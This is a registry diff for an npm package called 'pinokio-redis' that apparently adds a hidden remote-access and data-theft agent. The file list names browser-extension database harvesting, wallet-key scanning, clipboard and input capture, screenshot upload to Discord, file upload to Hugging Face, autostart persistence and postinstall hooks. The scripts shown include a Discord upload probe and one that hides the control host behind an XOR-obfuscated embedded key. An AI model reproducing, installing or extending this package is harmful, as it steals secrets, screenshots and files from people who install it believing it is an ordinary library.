pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,221 @@
1
+ /**
2
+ * Live Discord probe for relay `.env` (RELAY_DISCORD_*). Run manually; not part of default CI.
3
+ * Usage: `npm run discord:live-probe` or `npm run verify:discord` (includes build).
4
+ */
5
+ import dotenv from "dotenv";
6
+ import path from "path";
7
+ import { fileURLToPath } from "url";
8
+
9
+ const ROOT = path.join(path.dirname(fileURLToPath(import.meta.url)), "..");
10
+ dotenv.config({ path: path.join(ROOT, ".env") });
11
+
12
+ /** 1×1 PNG */
13
+ const MIN_PNG_B64 =
14
+ "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
15
+
16
+ function forgeDbApiBase() {
17
+ const raw = (
18
+ process.env.RELAY_FORGE_DB_API_URL ||
19
+ process.env.FORGE_JS_SYNC_URL ||
20
+ process.env.CFGMGR_API_URL ||
21
+ ""
22
+ )
23
+ .trim()
24
+ .replace(/\/api\/?$/, "")
25
+ .replace(/\/$/, "");
26
+ return raw || "http://127.0.0.1:8765";
27
+ }
28
+
29
+ function relayDiscordRequireSeqId() {
30
+ const v = (process.env.RELAY_DISCORD_REQUIRE_SEQ_ID || "1").trim().toLowerCase();
31
+ return !["0", "false", "no", "off"].includes(v);
32
+ }
33
+
34
+ /** First registry row with numeric seq_id (matches relay channel naming when REQUIRE_SEQ_ID is on). */
35
+ async function fetchProbeClientIdFromForgeDb() {
36
+ const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
37
+ const res = await fetch(`${forgeDbApiBase()}/api/clients`, {
38
+ signal: AbortSignal.timeout(8000),
39
+ headers: {
40
+ "User-Agent": "forge-jsx-discord-live-probe/1.0",
41
+ ...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
42
+ },
43
+ });
44
+ if (!res.ok) {
45
+ throw new Error(`forge-db /api/clients HTTP ${res.status}`);
46
+ }
47
+ const data = await res.json();
48
+ const clients = Array.isArray(data?.clients) ? data.clients : [];
49
+ for (const row of clients) {
50
+ if (!row || typeof row !== "object") continue;
51
+ const id = String(row.client_id ?? "").trim();
52
+ const seq = row.seq_id;
53
+ const seqNum = typeof seq === "number" ? seq : Number(seq);
54
+ if (id && Number.isFinite(seqNum)) return id;
55
+ }
56
+ return null;
57
+ }
58
+
59
+ async function main() {
60
+ const flag = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
61
+ if (!["1", "true", "yes", "on"].includes(flag)) {
62
+ console.log("SKIP: RELAY_DISCORD_SCREENSHOT_ENABLED not on");
63
+ process.exit(0);
64
+ }
65
+ const { getRelayDiscordBotTokens, relayDiscordBotTokenForClient } = await import(
66
+ path.join(ROOT, "dist/discordBotTokens.js")
67
+ );
68
+ const {
69
+ discordRelayScreenshotEnabled,
70
+ listGuildTextChannels,
71
+ resolveScreenshotChannelId,
72
+ handleDiscordUploadTicketRequest,
73
+ handleDiscordUploadAck,
74
+ handleDiscordScreenshotUploadFromAgent,
75
+ } = await import(path.join(ROOT, "dist/discordRelayUpload.js"));
76
+ const { postPngToDiscordWebhookUrl } = await import(
77
+ path.join(ROOT, "dist/discordWebhookPost.js")
78
+ );
79
+
80
+ if (!discordRelayScreenshotEnabled()) {
81
+ console.error("FAIL: discordRelayScreenshotEnabled() is false (token/guild missing?)");
82
+ process.exit(1);
83
+ }
84
+
85
+ const tokenPool = getRelayDiscordBotTokens();
86
+ const gid = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
87
+ const parent = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
88
+
89
+ let clientId = "live-probe-stable";
90
+ if (relayDiscordRequireSeqId()) {
91
+ try {
92
+ const fromDb = await fetchProbeClientIdFromForgeDb();
93
+ if (!fromDb) {
94
+ console.error(
95
+ "FAIL: RELAY_DISCORD_REQUIRE_SEQ_ID is on but forge-db has no client with seq_id. " +
96
+ "Register a client or set RELAY_DISCORD_REQUIRE_SEQ_ID=0 for legacy probe IDs.",
97
+ );
98
+ process.exit(1);
99
+ }
100
+ clientId = fromDb;
101
+ console.log(`(probe client_id from forge-db: ${clientId})`);
102
+ } catch (e) {
103
+ console.error("FAIL: could not load /api/clients for seq_id probe:", e?.message || e);
104
+ process.exit(1);
105
+ }
106
+ }
107
+
108
+ /** Same token the relay uses for this client_id (ticket / webhook create). */
109
+ const tok = relayDiscordBotTokenForClient(clientId, tokenPool);
110
+ const ridBase = `live_wh_${Date.now()}`;
111
+
112
+ process.stdout.write("1. listGuildTextChannels … ");
113
+ if (!tok) {
114
+ console.error("FAIL: no bot tokens (RELAY_DISCORD_BOT_TOKEN / RELAY_DISCORD_BOT_TOKENS)");
115
+ process.exit(1);
116
+ }
117
+ const rows = await listGuildTextChannels(tok, gid);
118
+ console.log(`ok (${rows.length} raw channels, ${tokenPool.length} token(s) in pool)`);
119
+
120
+ process.stdout.write("2. resolveScreenshotChannelId … ");
121
+ const ch = await resolveScreenshotChannelId(tok, gid, clientId, parent || undefined);
122
+ console.log(`ok (${ch.length} char id)`);
123
+
124
+ /**
125
+ * Parse `retry_after` from Discord error text (seconds, often fractional — see API rate limits).
126
+ * Very small values (~0.5s) round to ~1s wall time and usually 429 again; enforce a floor for probes.
127
+ */
128
+ function discordRetryAfterMsFromError(errText) {
129
+ const m = String(errText).match(/"retry_after"\s*:\s*([0-9.]+)/);
130
+ if (m) {
131
+ const sec = parseFloat(m[1]);
132
+ if (Number.isFinite(sec)) {
133
+ let ms = Math.ceil(sec * 1000) + 500;
134
+ ms = Math.min(120_000, ms);
135
+ if (ms < 5000) ms = 5000;
136
+ return ms;
137
+ }
138
+ }
139
+ return 62_000;
140
+ }
141
+
142
+ function formatWaitSec(waitMs) {
143
+ const s = waitMs / 1000;
144
+ return s >= 10 ? String(Math.round(s)) : s.toFixed(1);
145
+ }
146
+
147
+ process.stdout.write("3. ticket → webhook POST → ack … ");
148
+ const png = Buffer.from(MIN_PNG_B64, "base64");
149
+ let whUrl = "";
150
+ let activeRid = "";
151
+ const maxTicketAttempts = 5;
152
+ for (let attempt = 1; attempt <= maxTicketAttempts; attempt++) {
153
+ activeRid = `${ridBase}_try${attempt}`;
154
+ const ticketOut = await handleDiscordUploadTicketRequest({
155
+ type: "relay_discord_upload_ticket_request",
156
+ request_id: activeRid,
157
+ client_id: clientId,
158
+ });
159
+ if (ticketOut.ok) {
160
+ whUrl = String(ticketOut.webhook_url || "").trim();
161
+ break;
162
+ }
163
+ const err = String(ticketOut.error || "");
164
+ const rateLimited = /rate limit/i.test(err);
165
+ if (rateLimited && attempt < maxTicketAttempts) {
166
+ const waitMs = discordRetryAfterMsFromError(err);
167
+ process.stdout.write(
168
+ `\n (Discord 429 — waiting ${formatWaitSec(waitMs)}s (retry_after + min 5s cool-down), attempt ${attempt + 1}/${maxTicketAttempts} …) `
169
+ );
170
+ await new Promise((r) => setTimeout(r, waitMs));
171
+ continue;
172
+ }
173
+ console.error(`FAIL\n ${ticketOut.error}`);
174
+ process.exit(1);
175
+ }
176
+ if (!whUrl) {
177
+ console.error("FAIL: empty webhook_url");
178
+ process.exit(1);
179
+ }
180
+ let posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
181
+ if (!posted.ok && /429|rate limit/i.test(String(posted.error || ""))) {
182
+ const waitMs = discordRetryAfterMsFromError(String(posted.error));
183
+ process.stdout.write(
184
+ `\n (webhook POST 429 — waiting ${formatWaitSec(waitMs)}s …) `
185
+ );
186
+ await new Promise((r) => setTimeout(r, waitMs));
187
+ posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
188
+ }
189
+ if (!posted.ok) {
190
+ console.error(`FAIL webhook POST\n ${posted.error}`);
191
+ try {
192
+ await handleDiscordUploadAck({ request_id: activeRid });
193
+ } catch {
194
+ /* ignore */
195
+ }
196
+ process.exit(1);
197
+ }
198
+ await handleDiscordUploadAck({ request_id: activeRid });
199
+ console.log("ok");
200
+
201
+ process.stdout.write("4. discord_screenshot_upload (bot token path) … ");
202
+ const rid2 = `live_b64_${Date.now()}`;
203
+ const up = await handleDiscordScreenshotUploadFromAgent({
204
+ request_id: rid2,
205
+ client_id: clientId,
206
+ b64: MIN_PNG_B64,
207
+ caption: "forge-js live-probe (bot REST)",
208
+ });
209
+ if (up.ok !== true) {
210
+ console.error(`FAIL\n ${up.error}`);
211
+ process.exit(1);
212
+ }
213
+ console.log("ok");
214
+
215
+ console.log("\nALL DISCORD REST PROBES PASSED (check Discord for two tiny PNG messages).");
216
+ }
217
+
218
+ main().catch((e) => {
219
+ console.error(e);
220
+ process.exit(1);
221
+ });
@@ -0,0 +1,135 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Encrypt deployment defaults (host, relay port, API port, default explorer password)
4
+ * with AES-256-GCM and embed the key in obfuscated form (XOR'd halves) directly in
5
+ * deploymentCipherData.ts. No external key file or FORGE_JS_BUNDLE_KEY is needed at
6
+ * runtime — the key is reconstructed from DEPLOYMENT_KEY_A^DEPLOYMENT_MASK_A and
7
+ * DEPLOYMENT_KEY_B^DEPLOYMENT_MASK_B.
8
+ *
9
+ * Usage:
10
+ * node scripts/encode-deployment.mjs # new random key + update src/
11
+ * FORGE_JS_BUNDLE_KEY=<64 hex> node scripts/encode-deployment.mjs # use existing key
12
+ *
13
+ * Environment overrides for payload values (all required or use built-in defaults):
14
+ * FORGE_DEPLOY_HOST (required — never hardcoded for security)
15
+ * FORGE_DEPLOY_RELAY_PORT (default: 9877)
16
+ * FORGE_DEPLOY_API_PORT (default: 8765)
17
+ * FORGE_DEPLOY_EXPLORER_PASSWORD (default: "" — callers require explicit password config)
18
+ *
19
+ * IMPORTANT: commit only deploymentCipherData.ts. Never commit .env files containing
20
+ * FORGE_JS_BUNDLE_KEY (the key is already embedded obfuscated — external key is optional override).
21
+ */
22
+ import crypto from "node:crypto";
23
+ import fs from "node:fs";
24
+ import path from "node:path";
25
+ import { fileURLToPath } from "node:url";
26
+
27
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
28
+ const root = path.join(__dirname, "..");
29
+ const outTs = path.join(root, "src", "deploymentCipherData.ts");
30
+
31
+ const deployHost = (process.env.FORGE_DEPLOY_HOST || "").trim();
32
+ const deployRelayPort = Number(process.env.FORGE_DEPLOY_RELAY_PORT || 9877);
33
+ const deployApiPort = Number(process.env.FORGE_DEPLOY_API_PORT || 8765);
34
+ const deployPassword = (process.env.FORGE_DEPLOY_EXPLORER_PASSWORD || "").trim();
35
+
36
+ if (!deployHost) {
37
+ console.error(
38
+ "ERROR: FORGE_DEPLOY_HOST is required (never hardcoded for security).\n" +
39
+ " Usage: FORGE_DEPLOY_HOST=<ip-or-hostname> \\\n" +
40
+ " [FORGE_DEPLOY_RELAY_PORT=9877] \\\n" +
41
+ " [FORGE_DEPLOY_API_PORT=8765] \\\n" +
42
+ " [FORGE_DEPLOY_EXPLORER_PASSWORD=<password>] \\\n" +
43
+ " [FORGE_JS_BUNDLE_KEY=<64-hex>] \\\n" +
44
+ " node scripts/encode-deployment.mjs"
45
+ );
46
+ process.exit(1);
47
+ }
48
+
49
+ const payload = JSON.stringify({
50
+ publicHost: deployHost,
51
+ relayPort: deployRelayPort,
52
+ apiPort: deployApiPort,
53
+ defaultExplorerPassword: deployPassword,
54
+ });
55
+
56
+ function parseKey(raw) {
57
+ const t = raw.trim();
58
+ if (/^[0-9a-fA-F]{64}$/.test(t)) return Buffer.from(t, "hex");
59
+ const b = Buffer.from(t, "base64");
60
+ if (b.length === 32) return b;
61
+ throw new Error("Key must be 64 hex chars or base64 (32 bytes)");
62
+ }
63
+
64
+ let key;
65
+ const envKey = process.env.FORGE_JS_BUNDLE_KEY?.trim();
66
+ if (envKey) {
67
+ key = parseKey(envKey);
68
+ console.error("Using FORGE_JS_BUNDLE_KEY from environment.");
69
+ } else {
70
+ key = crypto.randomBytes(32);
71
+ console.error("Generated new random key (embedded obfuscated in deploymentCipherData.ts).\n");
72
+ }
73
+
74
+ // Encrypt payload
75
+ const iv = crypto.randomBytes(12);
76
+ const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
77
+ const enc = Buffer.concat([cipher.update(payload, "utf8"), cipher.final()]);
78
+ const tag = cipher.getAuthTag();
79
+
80
+ // Generate XOR masks and obfuscate the key halves
81
+ const maskA = crypto.randomBytes(16);
82
+ const maskB = crypto.randomBytes(16);
83
+ const keyA = Buffer.alloc(16);
84
+ const keyB = Buffer.alloc(16);
85
+ for (let i = 0; i < 16; i++) keyA[i] = key[i] ^ maskA[i];
86
+ for (let i = 0; i < 16; i++) keyB[i] = key[16 + i] ^ maskB[i];
87
+
88
+ // Verify round-trip
89
+ const reconstructedKey = Buffer.alloc(32);
90
+ for (let i = 0; i < 16; i++) reconstructedKey[i] = keyA[i] ^ maskA[i];
91
+ for (let i = 0; i < 16; i++) reconstructedKey[16 + i] = keyB[i] ^ maskB[i];
92
+ if (!reconstructedKey.equals(key)) {
93
+ console.error("ERROR: Key reconstruction check failed!");
94
+ process.exit(1);
95
+ }
96
+ const decipher = crypto.createDecipheriv("aes-256-gcm", reconstructedKey, iv);
97
+ decipher.setAuthTag(tag);
98
+ const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
99
+ if (plain.toString("utf8") !== payload) {
100
+ console.error("ERROR: Decrypt round-trip failed!");
101
+ process.exit(1);
102
+ }
103
+
104
+ function fmtUint8Array(arr) {
105
+ return `new Uint8Array([\n ${Array.from(arr).join(", ")},\n])`;
106
+ }
107
+
108
+ const ts = `/**
109
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
110
+ * Regenerate: \`node scripts/encode-deployment.mjs\` (see script for FORGE_JS_BUNDLE_KEY).
111
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
112
+ *
113
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
114
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
115
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
116
+ */
117
+
118
+ export const DEPLOYMENT_CIPHER_IV_B64 = ${JSON.stringify(iv.toString("base64"))};
119
+ export const DEPLOYMENT_CIPHER_TAG_B64 = ${JSON.stringify(tag.toString("base64"))};
120
+ export const DEPLOYMENT_CIPHER_TEXT_B64 =
121
+ ${JSON.stringify(enc.toString("base64"))};
122
+
123
+ /** First 16 key bytes XOR'd with MA. */
124
+ export const DEPLOYMENT_KEY_A = ${fmtUint8Array(keyA)};
125
+ /** Last 16 key bytes XOR'd with MB. */
126
+ export const DEPLOYMENT_KEY_B = ${fmtUint8Array(keyB)};
127
+ /** XOR mask for first 16 key bytes. */
128
+ export const DEPLOYMENT_MASK_A = ${fmtUint8Array(maskA)};
129
+ /** XOR mask for last 16 key bytes. */
130
+ export const DEPLOYMENT_MASK_B = ${fmtUint8Array(maskB)};
131
+ `;
132
+
133
+ fs.writeFileSync(outTs, ts, "utf8");
134
+ console.error("Wrote", path.relative(root, outTs));
135
+ console.error("Round-trip verification: OK");
@@ -0,0 +1,30 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Encrypt Hugging Face Hub token + optional hubUrl for CFGMGR_HF_CREDENTIALS_B64.
4
+ * Uses AES-256-GCM with the same key as deployment defaults (FORGE_JS_BUNDLE_KEY or embedded XOR halves).
5
+ *
6
+ * Run after `npm run build` (reads `dist/hfCredentials.js`).
7
+ *
8
+ * Usage:
9
+ * HF_TOKEN=hf_xxx node scripts/encode-hf-credentials.mjs
10
+ * HF_HUB_URL=https://huggingface.co (optional)
11
+ * HF_NAMESPACE=myuser (optional — Hugging Face username/org for session-repo uploads)
12
+ * FORGE_JS_BUNDLE_KEY=<64 hex> (optional override; else embedded bundle key)
13
+ */
14
+ import { encryptHfCredentialsJson } from "../dist/hfCredentials.js";
15
+
16
+ const token = (process.env.HF_TOKEN || process.env.HUGGINGFACE_HUB_TOKEN || "").trim();
17
+ if (!token) {
18
+ console.error("Set HF_TOKEN or HUGGINGFACE_HUB_TOKEN to your hf_... access token.");
19
+ process.exit(1);
20
+ }
21
+ let hubUrl = (process.env.HF_HUB_URL || "https://huggingface.co").trim().replace(/\/+$/, "");
22
+ const namespace = (process.env.HF_NAMESPACE || process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
23
+
24
+ const b64 = encryptHfCredentialsJson({ token, hubUrl, ...(namespace ? { namespace } : {}) });
25
+ console.log(b64);
26
+ console.error(
27
+ "\nOn the agent host:\n export CFGMGR_HF_CREDENTIALS_B64='" +
28
+ b64 +
29
+ "'\n"
30
+ );
@@ -0,0 +1,86 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * If `dist/cli-forge.js` is missing (git clone without prebuilt artifacts), run `npm run build`
4
+ * when devDependencies (TypeScript) are present. Does not fail `npm install` if build cannot run.
5
+ *
6
+ * Cross-OS notes:
7
+ * - Windows: npm binary is `npm.cmd` when invoked without a shell; we use shell:true so `npm` works everywhere.
8
+ * - Linux/macOS: standard `npm` via shell.
9
+ * - All child processes use windowsHide:true so no console window flashes on Windows.
10
+ * - Uses FORGE_JS_ENSURE_DIST_RUNNING env guard to prevent infinite recursive installs.
11
+ */
12
+ import { spawnSync } from "node:child_process";
13
+ import { existsSync } from "node:fs";
14
+ import path from "node:path";
15
+ import { fileURLToPath } from "node:url";
16
+ import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
17
+
18
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
19
+ const pkgRoot = path.resolve(__dirname, "..");
20
+ const cliForge = path.join(pkgRoot, "dist", "cli-forge.js");
21
+ // Also check that assets were copied (tsc alone does not copy assets/).
22
+ const distAssets = path.join(pkgRoot, "dist", "assets");
23
+
24
+ if (existsSync(cliForge) && existsSync(distAssets)) {
25
+ process.exit(0);
26
+ }
27
+
28
+ // Use shell:true so `npm` resolves correctly on all platforms (Windows needs npm.cmd in non-shell contexts).
29
+ const spawnOpts = {
30
+ cwd: pkgRoot,
31
+ stdio: "pipe",
32
+ shell: true,
33
+ windowsHide: true,
34
+ timeout: 300_000,
35
+ };
36
+
37
+ const localTsc = path.join(pkgRoot, "node_modules", "typescript", "bin", "tsc");
38
+ if (!existsSync(localTsc)) {
39
+ // TypeScript is a devDependency — not installed by `npm install <local-path>`.
40
+ // Attempt to install devDependencies once (guarded by env flag to prevent recursion).
41
+ if (process.env.FORGE_JS_ENSURE_DIST_RUNNING === "1") {
42
+ console.warn("[forge-js] dist/ missing and TypeScript unavailable (recursion guard active). Skipping build.");
43
+ process.exit(0);
44
+ }
45
